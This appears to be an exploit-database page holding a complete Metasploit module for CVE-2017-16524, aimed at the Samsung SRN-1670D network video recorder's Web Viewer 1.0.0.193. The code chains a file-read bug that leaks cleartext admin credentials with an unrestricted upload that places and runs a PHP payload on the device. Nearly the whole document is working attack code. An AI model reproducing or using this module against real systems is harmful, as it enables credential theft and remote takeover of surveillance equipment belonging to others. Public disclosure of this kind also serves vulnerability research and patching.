Web Viewer 1.0.0.193 (Samsung SRN-1670D) - Unrestricted File Upload

Properties

Published:
14.11.2017
Target:
Web Viewer 1.0.0.193 (Samsung SRN-1670D)

Code

# Exploit Title: Unrestricted file upload vulnerability - Web Viewer 1.0.0.193 on Samsung SRN-1670D
# Date: 2017-06-19
# Exploit Author: Omar MEZRAG - 0xFFFFFF / www.realistic-security.com
# Vendor Homepage: https://www.hanwhasecurity.com
# Version: Web Viewer 1.0.0.193 on Samsung SRN-1670D
# Tested on: Web Viewer 1.0.0.193 
# CVE : CVE-2017-16524
##
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
require 'digest'
 
class MetasploitModule < Msf::Exploit::Remote
     
    Rank = GoodRanking
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE
 
    def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Samsung SRN-1670D - Web Viewer Version 1.0.0.193 Arbitrary File Read & Upload',
          'Description'    => %q{
        This module exploits an Unrestricted file upload vulnerability in
        Web Viewer 1.0.0.193 on Samsung SRN-1670D devices: 'network_ssl_upload.php'
        allows remote authenticated attackers to upload and execute arbitrary
        PHP code via a filename with a .php extension, which is then accessed via a
        direct request to the file in the upload/ directory. 
        To authenticate for this attack, one can obtain web-interface credentials 
        in cleartext by leveraging the existing Local File Read Vulnerability 
        referenced as CVE-2015-8279, which allows remote attackers to read the 
        web interface credentials via a request for the
        cslog_export.php?path=/root/php_modules/lighttpd/sbin/userpw URI.
          },
 
          'Author'         => [
        'Omar Mezrag ',  # @_0xFFFFFF
            'Realistic Security',
            'Algeria'
           ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              [ 'CVE', '2017-16524' ],
              [ 'URL', 'https://github.com/realistic-security/CVE-2017-16524' ],
              [ 'CVE', '2015-8279' ],
              [ 'URL', 'http://blog.emaze.net/2016/01/multiple-vulnerabilities-samsung-srn.html' ]
            ],
          'Privileged'     => true,
          'Arch'           => ARCH_PHP,
          'Platform'       => 'php',
          'Targets'        =>
            [
            ['Samsung SRN-1670D == 1.0.0.193', {}]
            ],
          'DefaultTarget'  => 0,
          'DisclosureDate' => 'Mar 14 2017'
        ))
 
        register_options(
          [
            OptString.new('RHOST', [ true, 'The target address.' ]),
        OptString.new('RPORT', [ true, 'The target port (TCP).', '80' ]),
          ])
    end
 
 
    def check
        #
        print_status('Checking version...') 
 
        resp = send_request_cgi({
            'uri'     =>  "/index",
            'version' => '1.1',
            'method' => 'GET',
            'headers' =>
                {
                   'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
                }
            })
         
        unless resp
            print_error("Connection timed out.")
            return Exploit::CheckCode::Unknown
        end
        #        
        version = nil
        if resp and resp.code == 200  and resp.body.match(/Web Viewer for Samsung NVR/)
                if resp.body =~ /File Version (\d+\.\d+\.\d+\.\d+)/
                    version = $1
                    if version == '1.0.0.193'
                        print_good "Found vesrion: #{version}"
                        return Exploit::CheckCode::Appears
                    end
                end
        end
 
        Exploit::CheckCode::Safe
 
    end
 
    def exploit
 
      
        print_status('Obtaining credentails...') 
      
        resp = send_request_cgi({
            'uri'     =>  "/cslog_export.php",
            'version' => '1.1',
            'method' => 'GET',
            'vars_get'=>
                {
                'path' => '/root/php_modules/lighttpd/sbin/userpw',
                'file' => 'foo'
                },
            'headers' =>
                {
                   'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
                }
            })
         
        unless resp
            print_error("Connection timed out.")
            return Exploit::CheckCode::Unknown
        end
 
        if resp and resp.code == 200 and resp.body !~ /Authentication is failed/ and resp.body !~ /File not found/
            username =  resp.body.split(':')[0]
            password =  resp.body.split(':')[1].gsub("\n",'')
            print_good "Credentials obtained successfully: #{username}:#{password}"
                 
 
                data1 = Rex::Text.encode_base64("#{username}")
                data2 = Digest::SHA256.hexdigest("#{password}")
 
                randfloat  = Random.new
                data3 =  randfloat.rand(0.9)
                data4 = data3
 
                print_status('Logging...') 
 
                resp = send_request_cgi({
                    'uri'     =>  "/login",
                    'version' => '1.1',
                    'method' => 'POST',
                    'vars_post'=>
                        {
                            'data1' => data1,
                            'data2' => data2,
                            'data3' => data3,
                            'data4' => data4
                        },
                    'headers' =>
                        {
                           'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
                           'DNT' => "1",
                           'Cookie' => "IESEVEN=1"
                        }
                })
 
                unless resp
                    print_error("Connection timed out.")
                    return Exploit::CheckCode::Unknown
                end
                 
                if resp and resp.code == 200  and resp.body !~ /ID incorrecte/  and resp.body =~ /setCookie\('NVR_DATA1/
 
                    print_good('Authentication Succeeded') 
 
                    nvr_d1 = $1 if resp.body =~ /setCookie\('NVR_DATA1', '(\d\.\d+)'/
                    nvr_d2 = $1 if resp.body =~ /setCookie\('NVR_DATA2', '(\d+)'/
                    nvr_d3 = $1 if resp.body =~ /setCookie\('NVR_DATA3', '(0x\h\h)'/
                    nvr_d4 = $1 if resp.body =~ /setCookie\('NVR_DATA4', '(0x\h\h)'/
                    nvr_d7 = $1 if resp.body =~ /setCookie\('NVR_DATA7', '(\d)'/
                    nvr_d8 = $1 if resp.body =~ /setCookie\('NVR_DATA8', '(\d)'/
                    nvr_d9 = $1 if resp.body =~ /setCookie\('NVR_DATA9', '(0x\h\h)'/
 
                    cookie = "IESEVEN=1; NVR_DATA1=#{nvr_d1}; NVR_DATA2=#{nvr_d2}; NVR_DATA3=#{nvr_d3}; NVR_DATA4=#{nvr_d4}; NVR_DATA7=#{nvr_d7}; NVR_DATA8=#{nvr_d8}; NVR_DATA9=#{nvr_d9}"
 
                    payload_name = "#{rand_text_alpha(8)}.php"
 
                    print_status("Generating payload[ #{payload_name} ]...") 
 
                    php_payload = get_write_exec_payload(:unlink_self=>true)
                 
                    print_status('Uploading payload...') 
 
                    data = Rex::MIME::Message.new
                    data.add_part("2", nil, nil, 'form-data; name="is_apply"')
                    data.add_part("1", nil, nil, 'form-data; name="isInstall"')
                    data.add_part("0", nil, nil, 'form-data; name="isCertFlag"')
                    data.add_part(php_payload, 'application/x-httpd-php', nil, "form-data; name=\"attachFile\"; filename=\"#{payload_name}\"")
                    post_data = data.to_s
 
                    resp = send_request_cgi({
 
                        'uri'      => normalize_uri('/network_ssl_upload.php'),
                        'method'   => 'POST',
                        'vars_get' => 
                            {
                            'lang' => 'en'
                            },
                        'headers' =>
                            {
                               'User-Agent' => "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
                            },
                        'ctype'    => "multipart/form-data; boundary=#{data.bound}",
                        'cookie'   => cookie,
                        'data'     => post_data
 
                        })
 
                    unless resp
                        print_error("Connection timed out.")
                        return Exploit::CheckCode::Unknown
                    end
 
                    if resp and resp.code == 200
                        print_status('Executing payload...') 
                        upload_uri = normalize_uri("/upload/" + payload_name)
                        send_request_cgi({
                            'uri'    => upload_uri,
                            'method' => 'GET'
                        },5)
 
                        unless resp
                            print_error("Connection timed out.")
                            return Exploit::CheckCode::Unknown
                        end
 
                        if resp and resp.code != 200
                            print_error("Failed to upload")
                        end
 
                    else
                        print_error("Failed to upload")
                    end
                else
                    print_error("Authentication failed")
                end
             
        else
            print_error "Error obtaining credentails"
        end
    end
end